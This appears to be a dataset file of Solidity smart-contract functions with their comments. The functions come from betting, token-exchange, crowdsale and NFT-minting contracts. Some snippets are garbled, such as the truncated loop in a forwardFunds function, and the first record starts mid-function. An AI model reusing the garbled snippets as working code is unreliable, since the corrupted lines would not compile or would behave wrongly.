require(forecast>0 && forecast < getEventOutputMaxUint(bets[betNextId].oracleAddress, eventId, outputId),\"Forecast should be greater than zero and less than Max accepted forecast(All options true)\");\r\n setBetPayoutRate(betNextId, payoutRate);\r\n headToHeadForecasts[betNextId][msg.sender] = forecast;\r\n \r\n \r\n playerBetTotalBets[msg.sender][betNextId] = 1;\r\n betTotalBets[betNextId] = 1;\r\n betTotalAmount[betNextId] = msg.value;\r\n \r\n betForcastTotalAmount[betNextId][forecast] = msg.value;\r\n\r\n playerBetTotalAmount[msg.sender][betNextId] = msg.value;\r\n\r\n playerBetForecastWager[msg.sender][betNextId][forecast] = msg.value;\r\n\r\n lastBettingActivity = block.number;\r\n \r\n playerHasBet[msg.sender] = true;\r\n\r\n emit BetPlacedOrModified(betNextId, msg.sender, BetEvent.placeBet, msg.value, forecast, createdBy, betCloseTime);\r\n }", "version": "0.5.8"} {"comment": "/*\r\n * Increase wager\r\n */", "function_code": "function increaseWager(uint betId, uint forecast, string memory createdBy) payable public {\r\n require(msg.value > 0,\"Increase wager amount should be greater than zero\");\r\n require(bets[betId].betType == BetType.poolbet,\"Only poolbet supports the increaseWager\");\r\n require(playerBetForecastWager[msg.sender][betId][forecast] > 0,\"Haven't placed any bet for this forecast. Use callBet instead\");\r\n uint256 wager = playerBetForecastWager[msg.sender][betId][forecast] + msg.value;\r\n require(bets[betId].maximumWager==0 || wager<=bets[betId].maximumWager,\"The updated wager is higher then the maximum accepted\");\r\n updateBetDataFromOracle(betId, getBetEventId(betId), getBetEventOutputId(betId));\r\n require(!bets[betId].isCancelled,\"Bet has been cancelled\");\r\n require(!bets[betId].isOutcomeSet,\"Event has already an outcome\");\r\n uint betCloseTime = getBetCloseTime(betId);\r\n require(betCloseTime >= now,\"Close time has passed\");\r\n betTotalAmount[betId] += msg.value;\r\n\r\n betForcastTotalAmount[betId][forecast] += msg.value;\r\n\r\n playerBetTotalAmount[msg.sender][betId] += msg.value;\r\n\r\n playerBetForecastWager[msg.sender][betId][forecast] += msg.value;\r\n\r\n lastBettingActivity = block.number;\r\n\r\n emit BetPlacedOrModified(betId, msg.sender, BetEvent.increaseWager, msg.value, forecast, createdBy, betCloseTime); \r\n }", "version": "0.5.8"} {"comment": "/*\r\n * Remove a Bet\r\n */", "function_code": "function removeBet(uint betId, string memory createdBy) public {\r\n require(bets[betId].createdBy == msg.sender,\"Caller and player created don't match\");\r\n require(playerBetTotalBets[msg.sender][betId] > 0, \"Player should has placed at least one bet\");\r\n require(betTotalBets[betId] == playerBetTotalBets[msg.sender][betId],\"The bet has been called by other player\");\r\n require(bets[betId].betType == BetType.headtohead || bets[betId].betType == BetType.poolbet,\"Only poolbet and headtohead bets are implemented\");\r\n updateBetDataFromOracle(betId, getBetEventId(betId), getBetEventOutputId(betId));\r\n bets[betId].isCancelled = true;\r\n uint256 wager = betTotalAmount[betId];\r\n betTotalBets[betId] = 0;\r\n betTotalAmount[betId] = 0;\r\n playerBetTotalAmount[msg.sender][betId] = 0;\r\n playerBetTotalBets[msg.sender][betId] = 0;\r\n lastBettingActivity = block.number; \r\n msg.sender.transfer(wager); \r\n emit BetPlacedOrModified(betId, msg.sender, BetEvent.removeBet, wager, 0, createdBy, getBetCloseTime(betId)); \r\n }", "version": "0.5.8"} {"comment": "/*\r\n * Refute a Bet\r\n */", "function_code": "function refuteBet(uint betId, string memory createdBy) public {\r\n require(playerBetTotalAmount[msg.sender][betId]>0,\"Caller hasn't placed any bet\");\r\n require(!playerBetRefuted[msg.sender][betId],\"Already refuted\");\r\n require(bets[betId].betType == BetType.headtohead || bets[betId].betType == BetType.poolbet,\"Only poolbet and headtohead bets are implemented\");\r\n updateBetDataFromOracle(betId, getBetEventId(betId), getBetEventOutputId(betId)); \r\n require(bets[betId].isOutcomeSet, \"Refute isn't allowed when no outcome has been set\");\r\n require(getBetFreezeTime(betId) > now, \"Refute isn't allowed when Event freeze has passed\");\r\n playerBetRefuted[msg.sender][betId] = true;\r\n betRefutedAmount[betId] += playerBetTotalAmount[msg.sender][betId];\r\n if (betRefutedAmount[betId] >= betTotalAmount[betId]) {\r\n bets[betId].isCancelled = true; \r\n }\r\n lastBettingActivity = block.number; \r\n emit BetPlacedOrModified(betId, msg.sender, BetEvent.refuteBet, 0, 0, createdBy, getBetCloseTime(betId)); \r\n }", "version": "0.5.8"} {"comment": "/**\r\n * Cancels a Bet\r\n */", "function_code": "function cancelBet(uint betId) onlyOwner public {\r\n require(houseData.managed, \"Cancel available on managed Houses\");\r\n updateBetDataFromOracle(betId, getBetEventId(betId), getBetEventOutputId(betId));\r\n require(getBetFreezeTime(betId) > now,\"Freeze time passed\"); \r\n bets[betId].isCancelled = true;\r\n emit BetPlacedOrModified(betId, msg.sender, BetEvent.cancelledByHouse, 0, 0, \"\", getBetCloseTime(betId)); \r\n }", "version": "0.5.8"} {"comment": "/// @notice Backward compatible function\n/// @notice Use token address ETH_TOKEN_ADDRESS for ether\n/// @dev Trade from src to dest token and sends dest token to destAddress\n/// @param trader Address of the taker side of this trade\n/// @param src Source token\n/// @param srcAmount Amount of src tokens in twei\n/// @param dest Destination token\n/// @param destAddress Address to send tokens to\n/// @param maxDestAmount A limit on the amount of dest tokens in twei\n/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade reverts\n/// @param walletId Platform wallet address for receiving fees\n/// @param hint Advanced instructions for running the trade \n/// @return destAmount Amount of actual dest tokens in twei", "function_code": "function tradeWithHint(\r\n address payable trader,\r\n ERC20 src,\r\n uint256 srcAmount,\r\n ERC20 dest,\r\n address payable destAddress,\r\n uint256 maxDestAmount,\r\n uint256 minConversionRate,\r\n address payable walletId,\r\n bytes calldata hint\r\n ) external payable returns (uint256 destAmount) {\r\n TradeData memory tradeData = initTradeInput({\r\n trader: trader,\r\n src: src,\r\n dest: dest,\r\n srcAmount: srcAmount,\r\n destAddress: destAddress,\r\n maxDestAmount: maxDestAmount,\r\n minConversionRate: minConversionRate,\r\n platformWallet: walletId,\r\n platformFeeBps: 0\r\n });\r\n\r\n return trade(tradeData, hint);\r\n }", "version": "0.6.6"} {"comment": "/// @notice Use token address ETH_TOKEN_ADDRESS for ether\n/// @dev Trade from src to dest token and sends dest token to destAddress\n/// @param trader Address of the taker side of this trade\n/// @param src Source token\n/// @param srcAmount Amount of src tokens in twei\n/// @param dest Destination token\n/// @param destAddress Address to send tokens to\n/// @param maxDestAmount A limit on the amount of dest tokens in twei\n/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade reverts\n/// @param platformWallet Platform wallet address for receiving fees\n/// @param platformFeeBps Part of the trade that is allocated as fee to platform wallet. Ex: 1000 = 10%\n/// @param hint Advanced instructions for running the trade \n/// @return destAmount Amount of actual dest tokens in twei", "function_code": "function tradeWithHintAndFee(\r\n address payable trader,\r\n IERC20 src,\r\n uint256 srcAmount,\r\n IERC20 dest,\r\n address payable destAddress,\r\n uint256 maxDestAmount,\r\n uint256 minConversionRate,\r\n address payable platformWallet,\r\n uint256 platformFeeBps,\r\n bytes calldata hint\r\n ) external payable override returns (uint256 destAmount) {\r\n TradeData memory tradeData = initTradeInput({\r\n trader: trader,\r\n src: src,\r\n dest: dest,\r\n srcAmount: srcAmount,\r\n destAddress: destAddress,\r\n maxDestAmount: maxDestAmount,\r\n minConversionRate: minConversionRate,\r\n platformWallet: platformWallet,\r\n platformFeeBps: platformFeeBps\r\n });\r\n\r\n return trade(tradeData, hint);\r\n }", "version": "0.6.6"} {"comment": "/// @notice Can be called only by operator\n/// @dev Allow or prevent to trade token -> eth for list of reserves\n/// Useful for migration to new network contract\n/// Call storage to get list of reserves supporting token -> eth\n/// @param token Token address\n/// @param startIndex start index in reserves list\n/// @param endIndex end index in reserves list (can be larger)\n/// @param add If true, then give reserve token allowance, otherwise set zero allowance", "function_code": "function listReservesForToken(\r\n IERC20 token,\r\n uint256 startIndex,\r\n uint256 endIndex,\r\n bool add\r\n ) external {\r\n onlyOperator();\r\n\r\n if (startIndex > endIndex) {\r\n // no need to do anything\r\n return;\r\n }\r\n\r\n address[] memory reserves = kyberStorage.getReserveAddressesPerTokenSrc(\r\n token, startIndex, endIndex\r\n );\r\n\r\n if (reserves.length == 0) {\r\n // no need to do anything\r\n return;\r\n }\r\n\r\n for(uint i = 0; i < reserves.length; i++) {\r\n if (add) {\r\n token.safeApprove(reserves[i], MAX_ALLOWANCE);\r\n setDecimals(token);\r\n } else {\r\n token.safeApprove(reserves[i], 0);\r\n }\r\n }\r\n\r\n emit ListedReservesForToken(token, reserves, add);\r\n }", "version": "0.6.6"} {"comment": "/// @dev gets the expected rates when trading src -> dest token, with / without fees\n/// @param src Source token\n/// @param dest Destination token\n/// @param srcQty Amount of src tokens in twei\n/// @param platformFeeBps Part of the trade that is allocated as fee to platform wallet. Ex: 1000 = 10%\n/// @param hint Advanced instructions for running the trade \n/// @return rateWithNetworkFee Rate after deducting network fee but excluding platform fee\n/// @return rateWithAllFees = actual rate. Rate after accounting for both network and platform fees", "function_code": "function getExpectedRateWithHintAndFee(\r\n IERC20 src,\r\n IERC20 dest,\r\n uint256 srcQty,\r\n uint256 platformFeeBps,\r\n bytes calldata hint\r\n )\r\n external\r\n view\r\n override\r\n returns (\r\n uint256 rateWithNetworkFee,\r\n uint256 rateWithAllFees\r\n )\r\n {\r\n if (src == dest) return (0, 0);\r\n\r\n TradeData memory tradeData = initTradeInput({\r\n trader: payable(address(0)),\r\n src: src,\r\n dest: dest,\r\n srcAmount: (srcQty == 0) ? 1 : srcQty,\r\n destAddress: payable(address(0)),\r\n maxDestAmount: 2**255,\r\n minConversionRate: 0,\r\n platformWallet: payable(address(0)),\r\n platformFeeBps: platformFeeBps\r\n });\r\n\r\n tradeData.networkFeeBps = getNetworkFee();\r\n\r\n uint256 destAmount;\r\n (destAmount, rateWithNetworkFee) = calcRatesAndAmounts(tradeData, hint);\r\n\r\n rateWithAllFees = calcRateFromQty(\r\n tradeData.input.srcAmount,\r\n destAmount,\r\n tradeData.tokenToEth.decimals,\r\n tradeData.ethToToken.decimals\r\n );\r\n }", "version": "0.6.6"} {"comment": "/// @notice Backward compatible API\n/// @dev Gets the expected and slippage rate for exchanging src -> dest token\n/// @dev worstRate is hardcoded to be 3% lower of expectedRate\n/// @param src Source token\n/// @param dest Destination token\n/// @param srcQty Amount of src tokens in twei\n/// @return expectedRate for a trade after deducting network fee. \n/// @return worstRate for a trade. Calculated to be expectedRate * 97 / 100", "function_code": "function getExpectedRate(\r\n ERC20 src,\r\n ERC20 dest,\r\n uint256 srcQty\r\n ) external view returns (uint256 expectedRate, uint256 worstRate) {\r\n if (src == dest) return (0, 0);\r\n uint256 qty = srcQty & ~PERM_HINT_GET_RATE;\r\n\r\n TradeData memory tradeData = initTradeInput({\r\n trader: payable(address(0)),\r\n src: src,\r\n dest: dest,\r\n srcAmount: (qty == 0) ? 1 : qty,\r\n destAddress: payable(address(0)),\r\n maxDestAmount: 2**255,\r\n minConversionRate: 0,\r\n platformWallet: payable(address(0)),\r\n platformFeeBps: 0\r\n });\r\n\r\n tradeData.networkFeeBps = getNetworkFee();\r\n\r\n (, expectedRate) = calcRatesAndAmounts(tradeData, \"\");\r\n\r\n worstRate = (expectedRate * 97) / 100; // backward compatible formula\r\n }", "version": "0.6.6"} {"comment": "/// @notice Calculates platform fee and reserve rebate percentages for the trade.\n/// Transfers eth and rebate wallet data to kyberFeeHandler", "function_code": "function handleFees(TradeData memory tradeData) internal {\r\n uint256 sentFee = tradeData.networkFeeWei + tradeData.platformFeeWei;\r\n //no need to handle fees if total fee is zero\r\n if (sentFee == 0)\r\n return;\r\n\r\n // update reserve eligibility and rebate percentages\r\n (\r\n address[] memory rebateWallets,\r\n uint256[] memory rebatePercentBps\r\n ) = calculateRebates(tradeData);\r\n\r\n // send total fee amount to fee handler with reserve data\r\n kyberFeeHandler.handleFees{value: sentFee}(\r\n ETH_TOKEN_ADDRESS,\r\n rebateWallets,\r\n rebatePercentBps,\r\n tradeData.input.platformWallet,\r\n tradeData.platformFeeWei,\r\n tradeData.networkFeeWei\r\n );\r\n }", "version": "0.6.6"} {"comment": "/// @notice Use token address ETH_TOKEN_ADDRESS for ether\n/// @dev Do one trade with each reserve in reservesData, verifying network balance \n/// as expected to ensure reserves take correct src amount\n/// @param src Source token\n/// @param dest Destination token\n/// @param destAddress Address to send tokens to\n/// @param reservesData reservesData to trade\n/// @param expectedDestAmount Amount to be transferred to destAddress\n/// @param srcDecimals Decimals of source token\n/// @param destDecimals Decimals of destination token", "function_code": "function doReserveTrades(\r\n IERC20 src,\r\n IERC20 dest,\r\n address payable destAddress,\r\n ReservesData memory reservesData,\r\n uint256 expectedDestAmount,\r\n uint256 srcDecimals,\r\n uint256 destDecimals\r\n ) internal virtual {\r\n\r\n if (src == dest) {\r\n // eth -> eth, need not do anything except for token -> eth: transfer eth to destAddress\r\n if (destAddress != (address(this))) {\r\n (bool success, ) = destAddress.call{value: expectedDestAmount}(\"\");\r\n require(success, \"send dest qty failed\");\r\n }\r\n return;\r\n }\r\n\r\n tradeAndVerifyNetworkBalance(\r\n reservesData,\r\n src,\r\n dest,\r\n srcDecimals,\r\n destDecimals\r\n );\r\n\r\n if (destAddress != address(this)) {\r\n // for eth -> token / token -> token, transfer tokens to destAddress\r\n dest.safeTransfer(destAddress, expectedDestAmount);\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @notice If user maxDestAmount < actual dest amount, actualSrcAmount will be < srcAmount\n/// Calculate the change, and send it back to the user", "function_code": "function handleChange(\r\n IERC20 src,\r\n uint256 srcAmount,\r\n uint256 requiredSrcAmount,\r\n address payable trader\r\n ) internal {\r\n if (requiredSrcAmount < srcAmount) {\r\n // if there is \"change\" send back to trader\r\n if (src == ETH_TOKEN_ADDRESS) {\r\n (bool success, ) = trader.call{value: (srcAmount - requiredSrcAmount)}(\"\");\r\n require(success, \"Send change failed\");\r\n } else {\r\n src.safeTransfer(trader, (srcAmount - requiredSrcAmount));\r\n }\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @notice This function does all calculations to find trade dest amount without accounting \n/// for maxDestAmount. Part of this process includes:\n/// - Call kyberMatchingEngine to parse hint and get an optional reserve list to trade.\n/// - Query reserve rates and call kyberMatchingEngine to use best reserve.\n/// - Calculate trade values and fee values.\n/// This function should set all TradeData information so that it can be later used without \n/// any ambiguity\n/// @param tradeData Main trade data object for trade info to be stored\n/// @param hint Advanced user instructions for the trade ", "function_code": "function calcRatesAndAmounts(TradeData memory tradeData, bytes memory hint)\r\n internal\r\n view\r\n returns (uint256 destAmount, uint256 rateWithNetworkFee)\r\n {\r\n validateFeeInput(tradeData.input, tradeData.networkFeeBps);\r\n\r\n // token -> eth: find best reserves match and calculate wei amount\r\n tradeData.tradeWei = calcDestQtyAndMatchReserves(\r\n tradeData.input.src,\r\n ETH_TOKEN_ADDRESS,\r\n tradeData.input.srcAmount,\r\n tradeData,\r\n tradeData.tokenToEth,\r\n hint\r\n );\r\n\r\n require(tradeData.tradeWei <= MAX_QTY, \"Trade wei > MAX_QTY\");\r\n if (tradeData.tradeWei == 0) {\r\n return (0, 0);\r\n }\r\n\r\n // calculate fees\r\n tradeData.platformFeeWei = (tradeData.tradeWei * tradeData.input.platformFeeBps) / BPS;\r\n tradeData.networkFeeWei =\r\n (((tradeData.tradeWei * tradeData.networkFeeBps) / BPS) * tradeData.feeAccountedBps) /\r\n BPS;\r\n\r\n assert(tradeData.tradeWei >= (tradeData.networkFeeWei + tradeData.platformFeeWei));\r\n\r\n // eth -> token: find best reserves match and calculate trade dest amount\r\n uint256 actualSrcWei = tradeData.tradeWei -\r\n tradeData.networkFeeWei -\r\n tradeData.platformFeeWei;\r\n\r\n destAmount = calcDestQtyAndMatchReserves(\r\n ETH_TOKEN_ADDRESS,\r\n tradeData.input.dest,\r\n actualSrcWei,\r\n tradeData,\r\n tradeData.ethToToken,\r\n hint\r\n );\r\n\r\n tradeData.networkFeeWei =\r\n (((tradeData.tradeWei * tradeData.networkFeeBps) / BPS) * tradeData.feeAccountedBps) /\r\n BPS;\r\n\r\n rateWithNetworkFee = calcRateFromQty(\r\n tradeData.input.srcAmount * (BPS - tradeData.input.platformFeeBps) / BPS,\r\n destAmount,\r\n tradeData.tokenToEth.decimals,\r\n tradeData.ethToToken.decimals\r\n );\r\n }", "version": "0.6.6"} {"comment": "/// @dev Checks a trade input validity, including correct src amounts\n/// @param input Trade input structure", "function_code": "function validateTradeInput(TradeInput memory input) internal view\r\n {\r\n require(isEnabled, \"network disabled\");\r\n require(kyberProxyContracts[msg.sender], \"bad sender\");\r\n require(tx.gasprice <= maxGasPriceValue, \"gas price\");\r\n require(input.srcAmount <= MAX_QTY, \"srcAmt > MAX_QTY\");\r\n require(input.srcAmount != 0, \"0 srcAmt\");\r\n require(input.destAddress != address(0), \"dest add 0\");\r\n require(input.src != input.dest, \"src = dest\");\r\n\r\n if (input.src == ETH_TOKEN_ADDRESS) {\r\n require(msg.value == input.srcAmount); // kyberProxy issues message here\r\n } else {\r\n require(msg.value == 0); // kyberProxy issues message here\r\n // funds should have been moved to this contract already.\r\n require(input.src.balanceOf(address(this)) >= input.srcAmount, \"no tokens\");\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @notice Update reserve data with selected reserves from kyberMatchingEngine", "function_code": "function updateReservesList(ReservesData memory reservesData, uint256[] memory selectedIndexes)\r\n internal\r\n pure\r\n {\r\n uint256 numReserves = selectedIndexes.length;\r\n\r\n require(numReserves <= reservesData.addresses.length, \"doMatch: too many reserves\");\r\n\r\n IKyberReserve[] memory reserveAddresses = new IKyberReserve[](numReserves);\r\n bytes32[] memory reserveIds = new bytes32[](numReserves);\r\n uint256[] memory splitsBps = new uint256[](numReserves);\r\n bool[] memory isFeeAccountedFlags = new bool[](numReserves);\r\n bool[] memory isEntitledRebateFlags = new bool[](numReserves);\r\n uint256[] memory srcAmounts = new uint256[](numReserves);\r\n uint256[] memory rates = new uint256[](numReserves);\r\n\r\n // update participating resevres and all data (rates, srcAmounts, feeAcounted etc.)\r\n for (uint256 i = 0; i < numReserves; i++) {\r\n reserveAddresses[i] = reservesData.addresses[selectedIndexes[i]];\r\n reserveIds[i] = reservesData.ids[selectedIndexes[i]];\r\n splitsBps[i] = reservesData.splitsBps[selectedIndexes[i]];\r\n isFeeAccountedFlags[i] = reservesData.isFeeAccountedFlags[selectedIndexes[i]];\r\n isEntitledRebateFlags[i] = reservesData.isEntitledRebateFlags[selectedIndexes[i]];\r\n srcAmounts[i] = reservesData.srcAmounts[selectedIndexes[i]];\r\n rates[i] = reservesData.rates[selectedIndexes[i]];\r\n }\r\n\r\n // update values\r\n reservesData.addresses = reserveAddresses;\r\n reservesData.ids = reserveIds;\r\n reservesData.splitsBps = splitsBps;\r\n reservesData.isFeeAccountedFlags = isFeeAccountedFlags;\r\n reservesData.isEntitledRebateFlags = isEntitledRebateFlags;\r\n reservesData.rates = rates;\r\n reservesData.srcAmounts = srcAmounts;\r\n }", "version": "0.6.6"} {"comment": "/// @notice Verify split values bps and reserve ids,\n/// then calculate the destQty from srcAmounts and rates\n/// @dev Each split bps must be in range (0, BPS]\n/// @dev Total split bps must be 100%\n/// @dev Reserve ids must be increasing", "function_code": "function validateTradeCalcDestQtyAndFeeData(\r\n IERC20 src,\r\n ReservesData memory reservesData,\r\n TradeData memory tradeData\r\n ) internal pure returns (uint256 totalDestAmount) {\r\n uint256 totalBps;\r\n uint256 srcDecimals = (src == ETH_TOKEN_ADDRESS) ? ETH_DECIMALS : reservesData.decimals;\r\n uint256 destDecimals = (src == ETH_TOKEN_ADDRESS) ? reservesData.decimals : ETH_DECIMALS;\r\n \r\n for (uint256 i = 0; i < reservesData.addresses.length; i++) {\r\n if (i > 0 && (uint256(reservesData.ids[i]) <= uint256(reservesData.ids[i - 1]))) {\r\n return 0; // ids are not in increasing order\r\n }\r\n totalBps += reservesData.splitsBps[i];\r\n\r\n uint256 destAmount = calcDstQty(\r\n reservesData.srcAmounts[i],\r\n srcDecimals,\r\n destDecimals,\r\n reservesData.rates[i]\r\n );\r\n if (destAmount == 0) {\r\n return 0;\r\n }\r\n totalDestAmount += destAmount;\r\n\r\n if (reservesData.isFeeAccountedFlags[i]) {\r\n tradeData.feeAccountedBps += reservesData.splitsBps[i];\r\n\r\n if (reservesData.isEntitledRebateFlags[i]) {\r\n tradeData.numEntitledRebateReserves++;\r\n }\r\n }\r\n }\r\n\r\n if (totalBps != BPS) {\r\n return 0;\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @notice Recalculates tradeWei, network and platform fees, and actual source amount needed for the trade\n/// in the event actualDestAmount > maxDestAmount", "function_code": "function calcTradeSrcAmountFromDest(TradeData memory tradeData)\r\n internal\r\n pure\r\n virtual\r\n returns (uint256 actualSrcAmount)\r\n {\r\n uint256 weiAfterDeductingFees;\r\n if (tradeData.input.dest != ETH_TOKEN_ADDRESS) {\r\n weiAfterDeductingFees = calcTradeSrcAmount(\r\n tradeData.tradeWei - tradeData.platformFeeWei - tradeData.networkFeeWei,\r\n ETH_DECIMALS,\r\n tradeData.ethToToken.decimals,\r\n tradeData.input.maxDestAmount,\r\n tradeData.ethToToken\r\n );\r\n } else {\r\n weiAfterDeductingFees = tradeData.input.maxDestAmount;\r\n }\r\n\r\n // reverse calculation, because we are working backwards\r\n uint256 newTradeWei =\r\n (weiAfterDeductingFees * BPS * BPS) /\r\n ((BPS * BPS) -\r\n (tradeData.networkFeeBps *\r\n tradeData.feeAccountedBps +\r\n tradeData.input.platformFeeBps *\r\n BPS));\r\n tradeData.tradeWei = minOf(newTradeWei, tradeData.tradeWei);\r\n // recalculate network and platform fees based on tradeWei\r\n tradeData.networkFeeWei =\r\n (((tradeData.tradeWei * tradeData.networkFeeBps) / BPS) * tradeData.feeAccountedBps) /\r\n BPS;\r\n tradeData.platformFeeWei = (tradeData.tradeWei * tradeData.input.platformFeeBps) / BPS;\r\n\r\n if (tradeData.input.src != ETH_TOKEN_ADDRESS) {\r\n actualSrcAmount = calcTradeSrcAmount(\r\n tradeData.input.srcAmount,\r\n tradeData.tokenToEth.decimals,\r\n ETH_DECIMALS,\r\n tradeData.tradeWei,\r\n tradeData.tokenToEth\r\n );\r\n } else {\r\n actualSrcAmount = tradeData.tradeWei;\r\n }\r\n\r\n assert(actualSrcAmount <= tradeData.input.srcAmount);\r\n }", "version": "0.6.6"} {"comment": "/// @notice Recalculates srcAmounts and stores into tradingReserves, given the new destAmount.\n/// Uses the original proportion of srcAmounts and rates to determine new split destAmounts,\n/// then calculate the respective srcAmounts\n/// @dev Due to small rounding errors, will fallback to current src amounts if new src amount is greater", "function_code": "function calcTradeSrcAmount(\r\n uint256 srcAmount,\r\n uint256 srcDecimals,\r\n uint256 destDecimals,\r\n uint256 destAmount,\r\n ReservesData memory reservesData\r\n ) internal pure returns (uint256 newSrcAmount) {\r\n uint256 totalWeightedDestAmount;\r\n for (uint256 i = 0; i < reservesData.srcAmounts.length; i++) {\r\n totalWeightedDestAmount += reservesData.srcAmounts[i] * reservesData.rates[i];\r\n }\r\n\r\n uint256[] memory newSrcAmounts = new uint256[](reservesData.srcAmounts.length);\r\n uint256 destAmountSoFar;\r\n uint256 currentSrcAmount;\r\n uint256 destAmountSplit;\r\n\r\n for (uint256 i = 0; i < reservesData.srcAmounts.length; i++) {\r\n currentSrcAmount = reservesData.srcAmounts[i];\r\n require(destAmount * currentSrcAmount * reservesData.rates[i] / destAmount == \r\n currentSrcAmount * reservesData.rates[i], \r\n \"multiplication overflow\");\r\n destAmountSplit = i == (reservesData.srcAmounts.length - 1)\r\n ? (destAmount - destAmountSoFar)\r\n : (destAmount * currentSrcAmount * reservesData.rates[i]) /\r\n totalWeightedDestAmount;\r\n destAmountSoFar += destAmountSplit;\r\n\r\n newSrcAmounts[i] = calcSrcQty(\r\n destAmountSplit,\r\n srcDecimals,\r\n destDecimals,\r\n reservesData.rates[i]\r\n );\r\n if (newSrcAmounts[i] > currentSrcAmount) {\r\n // revert back to use current src amounts\r\n return srcAmount;\r\n }\r\n\r\n newSrcAmount += newSrcAmounts[i];\r\n }\r\n // new src amounts are used only when all of them aren't greater then current srcAmounts\r\n reservesData.srcAmounts = newSrcAmounts;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * Buy in function to be called mostly from the fallback function\r\n * @dev kept public in order to buy for someone else\r\n * @param beneficiary address\r\n */", "function_code": "function buyTokens(address beneficiary) private {\r\n require(beneficiary != 0x0);\r\n require(validPurchase());\r\n\r\n // Check the register if the investor was approved\r\n require(register.approved(beneficiary));\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // calculate token amount to be created\r\n uint256 toGet = howMany(msg.value);\r\n\r\n require((toGet > 0) && (toGet.add(tokensSold) <= toBeSold));\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n tokensSold = tokensSold.add(toGet);\r\n\r\n token.mint(beneficiary, toGet);\r\n TokenPurchase(msg.sender, beneficiary, weiAmount, toGet);\r\n\r\n forwardFunds();\r\n\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Batch Function to mark spender for approved for all. Does a check\r\n * for address(0) and throws if true\r\n * @notice Facilitates batch approveAll\r\n * @param _spenders The spenders\r\n * @param _approved The approved\r\n */", "function_code": "function batchSetApprovalForAll(\r\n address[] _spenders,\r\n bool _approved\r\n )\r\n public\r\n { \r\n require (isBatchSupported);\r\n\r\n require (_spenders.length > 0);\r\n\r\n address _spender;\r\n for (uint256 i = 0; i < _spenders.length; ++i) { \r\n\r\n require (address(_spenders[i]) != address(0));\r\n \r\n _spender = _spenders[i];\r\n setApprovalForAll(_spender, _approved);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Only gov. Will revert if the destinationToken isn't on the allowed list\r\n *\r\n * @param _integrationName The name of the integration to interact with\r\n * @param _sourceToken The address of the token to spend\r\n * @param _sourceAmount The source amount to trade\r\n * @param _destinationToken The token to get\r\n * @param _minimumDestinationAmount The minimum amount to get\r\n * @param _data Calldata needed for the integration\r\n */", "function_code": "function trade(\r\n address, // Left here purely so that ABI is exactly the same as the trade module /* unused */\r\n string memory _integrationName,\r\n address _sourceToken,\r\n uint256 _sourceAmount,\r\n address _destinationToken,\r\n uint256 _minimumDestinationAmount,\r\n bytes memory _data\r\n ) external onlyGovOrSubGov {\r\n require(\r\n manager.isTokenAllowed(_destinationToken),\r\n \"TradeAdapter::trade: _destinationToken is not on the allowed list\"\r\n );\r\n\r\n bytes memory encoded = abi.encodeWithSelector(\r\n module.trade.selector,\r\n setToken,\r\n _integrationName,\r\n _sourceToken,\r\n _sourceAmount,\r\n _destinationToken,\r\n _minimumDestinationAmount,\r\n _data\r\n );\r\n\r\n manager.interactModule(address(module), encoded);\r\n }", "version": "0.6.12"} {"comment": "// send ETH to the fund collection wallet(s)", "function_code": "function forwardFunds(uint256 partnerTokenAmount, uint256 weiMinusfee) internal {\r\n for (uint i=0;i0)\r\n {\r\n token.transfer(owners[i],partnerTokenAmount);\r\n }\r\n }\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Function to request Detachment from our Contract\r\n * @notice a wallet can request to detach it collectible, so, that it can be used in other third-party contracts.\r\n * @param _tokenId The token identifier\r\n */", "function_code": "function requestDetachment(\r\n uint256 _tokenId\r\n )\r\n public\r\n {\r\n //Request can only be made by owner or approved address\r\n require (isApprovedOrOwner(msg.sender, _tokenId));\r\n\r\n uint256 isAttached = checkIsAttached(_tokenId);\r\n\r\n //If collectible is on a gamecard prevent detachment\r\n require(getGameCardId(_tokenId) == 0);\r\n\r\n require (isAttached >= 1);\r\n\r\n if(attachedSystemActive == true) {\r\n //Checks to see if request was made and if time elapsed\r\n if(isAttached > 1 && block.timestamp - isAttached > detachmentTime) {\r\n isAttached = 0;\r\n } else if(isAttached > 1) {\r\n //Forces Tx Fail if time is already set for attachment and not less than detachmentTime\r\n require (isAttached == 1);\r\n } else {\r\n //Is attached, set detachment time and make request to detach\r\n // emit AssetUpdated(_tokenId);\r\n isAttached = block.timestamp;\r\n }\r\n } else {\r\n isAttached = 0;\r\n }\r\n\r\n updateIsAttached(_tokenId, isAttached);\r\n }", "version": "0.4.24"} {"comment": "/**\n * Set some Dorkis aside for giveaways.\n */", "function_code": "function reserveTokens() public onlyOwner { \n require(totalSupply().add(MAX_RESERVE) <= MAX_SLOTHS, \"Reserve would exceed max supply of Dorkis\");\n uint supply = totalSupply();\n for (uint i = 0; i < MAX_RESERVE; i++) {\n _safeMint(msg.sender, supply + i);\n }\n }", "version": "0.8.6"} {"comment": "/**\n * Mints Sloths\n */", "function_code": "function mintSloths(uint numberOfTokens) public payable {\n require(numberOfTokens > 0, \"numberOfNfts cannot be 0\");\n require(saleIsActive, \"Sale must be active to mint tokens\");\n require(numberOfTokens <= MAX_PURCHASE, \"Can only mint 20 tokens at a time\");\n require(totalSupply().add(numberOfTokens) <= MAX_SLOTHS, \"Purchase would exceed max supply of tokens\");\n require(tokenPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\n for(uint i = 0; i < numberOfTokens; i++) {\n uint mintIndex = totalSupply();\n if (totalSupply() < MAX_SLOTHS) {\n _safeMint(msg.sender, mintIndex);\n }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * Get all tokens for a specific wallet\n *\n */", "function_code": "function getTokensForAddress(address fromAddress) external view returns (uint256 [] memory){\n uint tokenCount = balanceOf(fromAddress);\n uint256[] memory tokensId = new uint256[](tokenCount);\n for(uint i = 0; i < tokenCount; i++){\n tokensId[i] = tokenOfOwnerByIndex(fromAddress, i);\n }\n return tokensId;\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Facilitates Creating Sale using the Sale Contract. 